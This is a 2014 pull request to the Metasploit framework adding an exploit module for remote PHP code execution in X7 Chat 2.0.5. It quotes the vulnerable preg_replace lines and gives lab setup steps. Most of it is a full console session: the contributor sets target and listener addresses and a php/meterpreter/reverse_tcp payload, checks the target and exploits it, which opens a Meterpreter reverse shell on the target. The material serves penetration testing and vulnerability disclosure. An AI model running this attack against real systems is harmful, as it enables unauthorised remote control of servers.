rapid7/metasploit-framework — pull request #4076 by itseco (2014-10-27 06:38:53+00:00)
Title: Add PHP Code Execution for X7 Chat 2.0.5

Hello,

This is a module to exploit a PHP Code Execution in the product X7 Chat version 2.0.5. Library lib/message.php file uses preg_replace() function with the /e modifier, this allow execute PHP code in the remote machine. The vulnerability was found by Fernando Muñoz @fmunozs.

```
118 $message = preg_replace("/(http:\/\/(.+?)\.[^ \[\"<]*)(.)/ie","autoparse_url(\"2\",\"$1\",\"$3\");",$message);
119 $message = preg_replace("/(www\.(.+?)\.[^ \[\"<]*)(.)/ie","autoparse_url(\"1\",\"$1\",\"$3\");",$message);
```

In order to test the module you must:

1. Download X7 Chat version 2.0.5: http://www.x7chat.com/releases/v2/x7chat2_0_5.zip.
2. Deploy it in your local enviroment. If you have problems setting the database in the webapp, you must go to install.php file and remove TYPE=MyISAM in the installation query (lines 477 - 487).
3. Register a new user in the Register link or just use the administrator user.
4. Use the module in this way:

```
msf > use exploits/multi/http/x7chat2_php_exec
msf exploit(x7chat2_php_exec) > set RHOST 192.168.1.113
RHOST => 192.168.1.113
msf exploit(x7chat2_php_exec) > set USERNAME
USERNAME => user
msf exploit(x7chat2_php_exec) > set PASSWORD
PASSWORD => user
msf exploit(x7chat2_php_exec) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(x7chat2_php_exec) > set LHOST 192.168.1.103
LHOST => 192.168.1.103
msf exploit(x7chat2_php_exec) > check

[*] Sending offline message (tRaZR) to user...
[+] Message (tRaZR) sent successfully
[*] Accessing message (tRaZR)
[*] Sending payload in HTTP header 'p'
[*] Deleting message (tRaZR)
[+] Message (tRaZR) removed
[+] 192.168.1.113:80 - The target is vulnerable.
msf exploit(x7chat2_php_exec) > exploit

[*] Started reverse handler on 192.168.1.103:4444
[*] Sending offline message (ijSON) to user...
[+] Message (ijSON) sent successfully
[*] Accessing message (ijSON)
[*] Sending payload in HTTP header 'p'
[*] Sending stage (40551 bytes) to 192.168.1.113
[*] Meterpreter session 1 opened (192.168.1.103:4444 -> 192.168.1.113:6311) at 2014-10-27 01:29:51 -0500

[*] Deleting message (ijSON)
[+] Message (ijSON) removed

meterpreter >
```

![x7chat2 msf](https://cloud.githubusercontent.com/assets/1725054/4786962/db4c1514-5da2-11e4-8c8a-f17b97ca1bc5.png)

Thank you.